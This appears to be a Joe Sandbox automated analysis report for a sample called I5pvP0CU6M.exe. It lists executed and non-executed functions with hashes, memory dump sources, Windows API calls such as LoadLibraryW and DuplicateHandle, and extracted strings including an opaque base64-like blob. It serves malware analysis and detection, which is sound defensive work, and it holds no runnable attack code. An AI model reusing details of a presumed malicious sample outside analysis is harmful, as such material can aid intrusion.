Source File: 00000000.00000002.2219047219.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_I5pvP0CU6M.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 8d0b69ac750189d0e66aa4b7dd6a65e40328f3764c17b3746ae99ac5ee327e09
Instruction ID: b9208975c1711b3d3c32b1870387865c5da4c6940f56beff503e41504ad934b6
Opcode Fuzzy Hash: 8d0b69ac750189d0e66aa4b7dd6a65e40328f3764c17b3746ae99ac5ee327e09
Instruction Fuzzy Hash: A551C0B1D11349DFDB14CFA9C884ADEBBB5FF48310F24816AE919AB210D7759886CF90

Function 02B81AD0 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 02B81BE2

Memory Dump Source

Source File: 00000000.00000002.2219047219.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_I5pvP0CU6M.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d90cff33478e0544eba0a03de30f5d18dbe56c2ccc4f8b4eee9d80cf7c137564
Instruction ID: bc4e450469e3753eb649c55d014f618f80aaebc2086d7dde1bb7be592fa87c7e
Opcode Fuzzy Hash: d90cff33478e0544eba0a03de30f5d18dbe56c2ccc4f8b4eee9d80cf7c137564
Instruction Fuzzy Hash: 9241CEB1D11349DFDB14CFAAC884ADEBBB5FF48310F24816AE918AB210D771A845CF90

Function 010C58EC Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 010C59A9

Memory Dump Source

Source File: 00000000.00000002.2215038486.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_I5pvP0CU6M.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: cad56c82e98ee0791f723c659fe02adcdba22e6a5e9466c2c418e422fb2375e1
Instruction ID: f3fcf3b72d7b87e83b296683b0ef9d39e254fa5f417d40ed54c3241b6acbb3f6
Opcode Fuzzy Hash: cad56c82e98ee0791f723c659fe02adcdba22e6a5e9466c2c418e422fb2375e1
Instruction Fuzzy Hash: AF41E270D00719CBEB24CFAAC9847DEBBF5BF88704F20809AD448AB251DB716946CF50

Function 010C44D4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 010C59A9

Memory Dump Source

Source File: 00000000.00000002.2215038486.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_I5pvP0CU6M.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 5e303391c4902066e2edbaa586f2a7a37ef70668113ece8d55905b42df465c80
Instruction ID: 0d0f577ac997407e06822021bad9bda2f9c9823ae17f88a43ec9f826e2d0dfd3
Opcode Fuzzy Hash: 5e303391c4902066e2edbaa586f2a7a37ef70668113ece8d55905b42df465c80
Instruction Fuzzy Hash: B641F370D0071DCBEB24CFAAC98479EBBF5BF48704F2080AAD409AB251DB716945CF90

Function 02B840A0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 02B84161

Memory Dump Source

Source File: 00000000.00000002.2219047219.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_I5pvP0CU6M.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 2f3a2552f9b24d332dd22b192d503a7686106a5a56087382ae747fc67e34345c
Instruction ID: 3d53b73eb146f8c2a235ffbd868b9139d3716d076af0cddaa49753d7ec9a44a9
Opcode Fuzzy Hash: 2f3a2552f9b24d332dd22b192d503a7686106a5a56087382ae747fc67e34345c
Instruction Fuzzy Hash: 3341FCB5A0030ACFDB14DF99C484AAAFBF5FF98314F248499D51967321D774A841CFA0

Function 010CD4D8 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 010CD567

Memory Dump Source

Source File: 00000000.00000002.2215038486.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_I5pvP0CU6M.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: fa93a509cfe294a513d900b4a0f896ffde055822eed6fe441fe317135a6b73f0
Instruction ID: 43f4faf7bd2e6d3e95c80cf4f03a8e5153a327d56eac2248dbd2a8ec1464d214
Opcode Fuzzy Hash: fa93a509cfe294a513d900b4a0f896ffde055822eed6fe441fe317135a6b73f0
Instruction Fuzzy Hash: 8B21F4B5900249DFDB10CFAAD984ADEBBF4EB48714F10801AE954A3310D374A945CFA1

Function 010CD4E0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 010CD567

Memory Dump Source

Source File: 00000000.00000002.2215038486.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_I5pvP0CU6M.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 741b3aa120613137f19138b965c117379b8e89233bf0819f04da39e6457d602a
Instruction ID: 2dc34a1ab19a04dcf3f8402fb9bc172dd41802431eb052c94c35124dd53d923c
Opcode Fuzzy Hash: 741b3aa120613137f19138b965c117379b8e89233bf0819f04da39e6457d602a
Instruction Fuzzy Hash: 6D21E3B5900249DFDB10CFAAD984ADEBFF4EB48720F14841AE954A3310D374A950CFA1

Function 010CB0D8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 010CB13E

Memory Dump Source

Source File: 00000000.00000002.2215038486.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_I5pvP0CU6M.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d6e4655c86a10de065bdd041f99444792c3e6453e3f57cea52083caa01482592
Instruction ID: 68ce301ca0bbec3293ce273ebcc6b80b0890c1b54a8cba25fd22f40c0dc8d861
Opcode Fuzzy Hash: d6e4655c86a10de065bdd041f99444792c3e6453e3f57cea52083caa01482592
Instruction Fuzzy Hash: 591102B5C002498FDB10CF9AC444A9EFBF4AB88624F10845AD958A7200D375A545CFA1

Function 00EAD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212393354.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ead000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17008b22e0ecb2aea53e5fd89c7fe13a8f9f9ac709986a36932bb36c4311551c
Instruction ID: 4c50d2ac8910ec134aa9ea4e53dcf343d18d776c162ddb412064d31a95e0b051
Opcode Fuzzy Hash: 17008b22e0ecb2aea53e5fd89c7fe13a8f9f9ac709986a36932bb36c4311551c
Instruction Fuzzy Hash: 36210672908240DFDB05DF14D9C0B26BF65FB8D318F24C569E90A1F656C336E856CAA1

Function 00EAD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212393354.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ead000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02f7a119918ea752a7f8d0d41223177ecf4533d63812f5f25db179216f60e9ee
Instruction ID: 10479791c8cd7f2e81d08af02e5cb5d3b3263a997a6265b93193996182c15a9a
Opcode Fuzzy Hash: 02f7a119918ea752a7f8d0d41223177ecf4533d63812f5f25db179216f60e9ee
Instruction Fuzzy Hash: 8521F476508204DFDB04DF14D9C0B2ABF65FB9D324F20C169D90A5F656C336F856CAA1

Function 00EBD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2213837630.0000000000EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ebd000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa96e3abe0788a1c47ddb75cddcf2fda62398e90e38d830994c1ad78feaf702a
Instruction ID: 039ab015d0b352a1f46c1fa1bf2892e7ada83c6bd2664dc4b5f2c05386e4114a
Opcode Fuzzy Hash: aa96e3abe0788a1c47ddb75cddcf2fda62398e90e38d830994c1ad78feaf702a
Instruction Fuzzy Hash: 85212275608300EFCB14EF14D9C0B67BB66FB88318F20C56DD90A5B292D37AD807CA61

Function 00EBD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2213837630.0000000000EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ebd000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f566fbeabc070661745147f07bc807eeef830632605340c9354394839582f16e
Instruction ID: f11f9dd7d92f17086163eb4f07b02d24b2d7c229f1468d489e0de0fbf5e6f586
Opcode Fuzzy Hash: f566fbeabc070661745147f07bc807eeef830632605340c9354394839582f16e
Instruction Fuzzy Hash: FF216471508380EFCB05DF10D9C0BA6BBA1FB84318F20C56CE9095B2A2D336D806CB61

Function 00EBD005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2213837630.0000000000EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ebd000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78f291d7bb87affc06145141bef5392208568e98fdd98df5a2f09cbc938e8fcf
Instruction ID: cac22aab36f4b7b6da0caf7ed88a2893d8154fc6ba0141e2f928e8d538797dd8
Opcode Fuzzy Hash: 78f291d7bb87affc06145141bef5392208568e98fdd98df5a2f09cbc938e8fcf
Instruction Fuzzy Hash: 6E21537550D3C08FCB12DF24D994756BF71EB46314F28C5DAD8498B6A7C33A980ACB62

Function 00EAD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212393354.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ead000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction ID: f314e34470983ce21be4afb46754dae50b06d97f765261e4416266718ea79650
Opcode Fuzzy Hash: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction Fuzzy Hash: 8B11E976904280CFCB15CF10D9C4B16BF71FB98318F24C5A9D8454F656C336E456CB91

Function 00EAD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212393354.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ead000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction ID: 56f18ac66e525209e62ad596091115b85045c9bb075460b46de0684cd1474ff1
Opcode Fuzzy Hash: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction Fuzzy Hash: CA11E976504240DFDB15CF10D9C4B16BF71FB99324F24C6A9D80A4F656C33AE456CB91

Function 00EBD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2213837630.0000000000EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ebd000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction ID: f7e622f0bcedeb5de716dbce817dd3c5d3772c1cc8ebebff6de6653b3f5b422e
Opcode Fuzzy Hash: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction Fuzzy Hash: AB11BB75508280DFCB02CF50C9C0B56BBA1FB84318F24C6A9D8494B2A6C33AD81ACBA1

Function 00EAD745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212393354.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ead000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6c0e5081a47afc61ef5776651cbf54f9c2ec876df8174d0c5a74f5f9c8fa341
Instruction ID: 0ded20246b2a5c9131a2c6c3bd2cac320025a28cbb26d2f886b6fa7ddcafd487
Opcode Fuzzy Hash: b6c0e5081a47afc61ef5776651cbf54f9c2ec876df8174d0c5a74f5f9c8fa341
Instruction Fuzzy Hash: 0A012B7140C340DAE7144E25CD84B67BF98DF4A334F18D51BFE0A6F692CA79A840C671

Function 00EAD744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212393354.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ead000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd73dcfcc0012d7f4c4fafc9ff5ae225fcc9979463a5b09c1ab04c411cdc0311
Instruction ID: a5c5f3ac10f15c2cc44746460d8fd06d84afe27d3bf487c373737992f5a89174
Opcode Fuzzy Hash: fd73dcfcc0012d7f4c4fafc9ff5ae225fcc9979463a5b09c1ab04c411cdc0311
Instruction Fuzzy Hash: 73F0C2714083449AE7148E15CC84B62FF98EB85738F18C05BFD091F696C679A844CBB1

Non-executed Functions

Function 058D0378 Relevance: .6, Instructions: 618COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5489fa83c03f70d7eefe3f210d99c6f7eb7b925fcf2a5cdff3a8c97c342f4d
Instruction ID: 70822d5e32dcc21ec99e6bf49c13fb7b49dde99db2d669e3de95ab68075a6ccc
Opcode Fuzzy Hash: 0e5489fa83c03f70d7eefe3f210d99c6f7eb7b925fcf2a5cdff3a8c97c342f4d
Instruction Fuzzy Hash: 2E322970E00219CFDB58DFA9D8557AEBBF2AF88300F148569D409EB285EB349D45CFA1

Function 02B80228 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2219047219.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c27fa23e5ad0e96cb03c2899441db991df66f1652692f848c0ed4b86192eeae
Instruction ID: 07536fd2e3895c3750b053851dd071adfa6084ed2c3b7d9433c99e5ef8da66d5
Opcode Fuzzy Hash: 1c27fa23e5ad0e96cb03c2899441db991df66f1652692f848c0ed4b86192eeae
Instruction Fuzzy Hash: A11273B1801746CAEB38CF65E94C2897BB9FB85328F904709D2616F2E9DBB4154BCF44

Function 058D9CA0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1618d65158fcaa1973c8ffd49583f1d1fc653f254656ffeba589d76abd74aa6e
Instruction ID: a84a8e194b8dc8c5a156f55d7ddf61fb96c2a3dfbb4f8e534da4af07b99afc91
Opcode Fuzzy Hash: 1618d65158fcaa1973c8ffd49583f1d1fc653f254656ffeba589d76abd74aa6e
Instruction Fuzzy Hash: 16E10A74E002598FDB14DFA9C580AAEFBF2BF89304F248259D855AB356D770AD42CF60

Function 058D0369 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aa9c98841d0777c807a64f6c859bbb8dddd53b6660dd31e9c169ea6085eda2b
Instruction ID: 1570d42162765777304e1591ef0993f5f9bf926097a7e61de7ad0757babe520f
Opcode Fuzzy Hash: 3aa9c98841d0777c807a64f6c859bbb8dddd53b6660dd31e9c169ea6085eda2b
Instruction Fuzzy Hash: 65C11A71E00258DFDB14DF65D884B9EFBF2BF88310F1481AAD809AB255EB709985CF60

Function 010CDB8C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2215038486.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eb1e28c153f9a0e92d33f2c1d8246eadc6804c2338614760bc762b145eacd7d
Instruction ID: 64547f20e60d9d4261650ed41d36bd7c682cce552f717b68238c4d209d3f734a
Opcode Fuzzy Hash: 0eb1e28c153f9a0e92d33f2c1d8246eadc6804c2338614760bc762b145eacd7d
Instruction Fuzzy Hash: 42A16E32A0020A8FCF15DFB4C8845DEBBB2FF85700B1581AEE905AB265DB71E955CF80

Function 02B80218 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2219047219.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf0100382e504781e006df0b9b05f10d49991b4f41592dcb9d11549c1d8dfff0
Instruction ID: b43f00873c331c0453ad475666d6144ebe44a1adf0a9fb496fb70c36d6fe3678
Opcode Fuzzy Hash: bf0100382e504781e006df0b9b05f10d49991b4f41592dcb9d11549c1d8dfff0
Instruction Fuzzy Hash: 08C1D4B1801746CAEB38CF69E94C2897BB9FB85324F614709D2616F2E9DBB4144BCF44

Function 058DAB48 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa799183d63bc595a6a105b01a0943d82143f4fae4bc58bf7b2c29262a184bcf
Instruction ID: 6d0168bf650d6368e1c3680f1866c9407c1ab896d72c6f5ed84e0d46a9a498a2
Opcode Fuzzy Hash: fa799183d63bc595a6a105b01a0943d82143f4fae4bc58bf7b2c29262a184bcf
Instruction Fuzzy Hash: AA718175E046188FDB08DFAAC584A9EFBF2BF88310F28D566D819EB215D7349942CF50

Function 058D9C90 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19b3b168ede202dc44191c3a1de72ce83848ffc645fe4718c90c9bb482713e39
Instruction ID: 61879a3f3cd52c4aa8909c9259b8b9b3d6822172f0a206a6bd2091283ccd0a88
Opcode Fuzzy Hash: 19b3b168ede202dc44191c3a1de72ce83848ffc645fe4718c90c9bb482713e39
Instruction Fuzzy Hash: AC51F774E002598BDB14DFA9C9806AEFBF2BF89304F248169D858AB216D7719D42CF61

Function 058DAB39 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227338152.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0fd7c032f770d8b8d6849a3ca50131c5eacdd9681232969dcf245bafcb08d4d
Instruction ID: bc638fc6a4fd8661ffe292df63458f4cc33401203c6e1f0c8e7297b53a47ab91
Opcode Fuzzy Hash: f0fd7c032f770d8b8d6849a3ca50131c5eacdd9681232969dcf245bafcb08d4d
Instruction Fuzzy Hash: 17516275E006188FDB08DFAAD98469EFBF2BF88310F14C16AD819EB214DB345946CF50

Analysis Process: I5pvP0CU6M.exePID: 6724, Parent PID: 2432COMMON

Execution Graph

Execution Coverage:	15.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	25
Total number of Limit Nodes:	1

Executed Functions

Function 062C1550 Relevance: 25.2, Strings: 19, Instructions: 1409
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Z, xrefs: 062C22B7
D[, xrefs: 062C1857
T], xrefs: 062C173E
D[, xrefs: 062C180E
|\, xrefs: 062C1708
D[, xrefs: 062C19FB
D[, xrefs: 062C1A05
pZ, xrefs: 062C238B
$], xrefs: 062C1945
Y, xrefs: 062C263B
XZ, xrefs: 062C1E79
<], xrefs: 062C169C
D[, xrefs: 062C1841
(Z, xrefs: 062C1B65
6yO8EeqwT5xD+J4+bBXoME+RjtcSDNO5vC/iPN4T1+NeHNdrGDCPkAfUw7E+7qvhfFpxLg94x32CH4GP5/QYqwJ5DBjEfL1PB4BNcwi3GCjHn7sYP2sZBlCbRiMwZubUlV5f1AHg8skA37gcyi1mFvXaBGSbZQnQpcA39y+bYoBApudHQO+cF0oNzgn3lLf42hd6TBDhrwPAYQ77XA7/kMW8hdQB4PQBEPjHgH4cnwAACX/LFQDnwhxk8Q9tdgAsV3rJ, xrefs: 062C27B8
l], xrefs: 062C1977
L\, xrefs: 062C1666
d\, xrefs: 062C17AA
@Z, xrefs: 062C1C27

Memory Dump Source

Source File: 00000009.00000002.2345112018.00000000062C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_62c0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID: $]$(Z$6yO8EeqwT5xD+J4+bBXoME+RjtcSDNO5vC/iPN4T1+NeHNdrGDCPkAfUw7E+7qvhfFpxLg94x32CH4GP5/QYqwJ5DBjEfL1PB4BNcwi3GCjHn7sYP2sZBlCbRiMwZubUlV5f1AHg8skA37gcyi1mFvXaBGSbZQnQpcA39y+bYoBApudHQO+cF0oNzgn3lLf42hd6TBDhrwPAYQ77XA7/kMW8hdQB4PQBEPjHgH4cnwAACX/LFQDnwhxk8Q9tdgAsV3rJ$<]$@Z$D[$D[$D[$D[$D[$L\$T]$XZ$d\$l]$pZ$|\$Y$Z
API String ID: 0-611074554
Opcode ID: 9ac37d6d02940e693f457243db8fc7104ec1c9f3c1a5cee307497952cfdc8397
Instruction ID: cc3a2a5d96b9cb8d9b1e5cdeaed196887eca954f4c66cafbb8991a003b83225d
Opcode Fuzzy Hash: 9ac37d6d02940e693f457243db8fc7104ec1c9f3c1a5cee307497952cfdc8397
Instruction Fuzzy Hash: 94C24B34B102199FCB14DF54C895FADBBB2FF88700F108199EA09AB3A1DB71AD858F51

Function 062C1530 Relevance: 10.3, Strings: 8, Instructions: 331
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<], xrefs: 062C169C
T], xrefs: 062C173E
D[, xrefs: 062C180E
|\, xrefs: 062C1708
l], xrefs: 062C1977
$], xrefs: 062C1945
d\, xrefs: 062C17AA
L\, xrefs: 062C1666

Memory Dump Source

Source File: 00000009.00000002.2345112018.00000000062C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_62c0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID: $]$<]$D[$L\$T]$d\$l]$|\
API String ID: 0-1079412102
Opcode ID: 918dfd3f7c62e7856b17681205b31a7f77a15bc2f45673305effa320c13dda83
Instruction ID: 8d584f1ce3f1bb0e132a3682236ceb2b7d4c629887f04edfc880728e25d61c0d
Opcode Fuzzy Hash: 918dfd3f7c62e7856b17681205b31a7f77a15bc2f45673305effa320c13dda83
Instruction Fuzzy Hash: B0C13A35B50605AFCB04CF58C999E5DB7B2FF89B01B608499FE01EB3A1C672EC588B15

Function 062C0048 Relevance: 3.2, Strings: 2, Instructions: 664
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

a, xrefs: 062C04C5
la, xrefs: 062C02F2

Memory Dump Source

Source File: 00000009.00000002.2345112018.00000000062C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_62c0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID: la$a
API String ID: 0-644286645
Opcode ID: fe114b23a437f6e94a457e46bd6d19640873315d66f9d6d60655a5b9e80531e0
Instruction ID: 3b4c22eeaa31e3aa4ebb7de70eb60021b357dd8e48837a2f4b872f10262f06ac
Opcode Fuzzy Hash: fe114b23a437f6e94a457e46bd6d19640873315d66f9d6d60655a5b9e80531e0
Instruction Fuzzy Hash: BF426730710615CFDB68AF68D44066EBBB2FFC1715B005A1CD902AF395DBB6A9068B86

Function 062C0000 Relevance: 2.8, Strings: 2, Instructions: 344
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

a, xrefs: 062C04C5
la, xrefs: 062C02F2

Memory Dump Source

Source File: 00000009.00000002.2345112018.00000000062C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_62c0000_I5pvP0CU6M.jbxd

Similarity

API ID:
String ID: la$a
API String ID: 0-644286645
Opcode ID: 0371d8cb6e903a80edad945168ddeccba67ebbaec68546bd52fa8a11ab06bb75
Instruction ID: 9073b817b34e0d9d16450add020583f30259c79ad91c622d2d888686efb084b0
Opcode Fuzzy Hash: 0371d8cb6e903a80edad945168ddeccba67ebbaec68546bd52fa8a11ab06bb75
Instruction Fuzzy Hash: BED1B130B10245CFDB41CFA4C854A6A7BB6FF85714F14825AEA019F3A6CBB2DC05CB92

Function 062775E8 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,062774A6), ref: 06277656

Memory Dump Source

Source File: 00000009.00000002.2344988192.0000000006270000.00000040.00000800.00020000.00000000.sdmp, Offset: 06270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6270000_I5pvP0CU6M.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 704cd10594e092463370bd2a1f45cf375bc31f6be1167624a4fbe2d34d497c65
Instruction ID: ce958fe2d08992100605487640b7844f4a732234e76c29770a83dd7a98af6eca
Opcode Fuzzy Hash: 704cd10594e092463370bd2a1f45cf375bc31f6be1167624a4fbe2d34d497c65
Instruction Fuzzy Hash: E211F6B6C0064A8FDB10DF9AC844ADEFBF4EF88724F14842AD519A7610D375A546CFA1

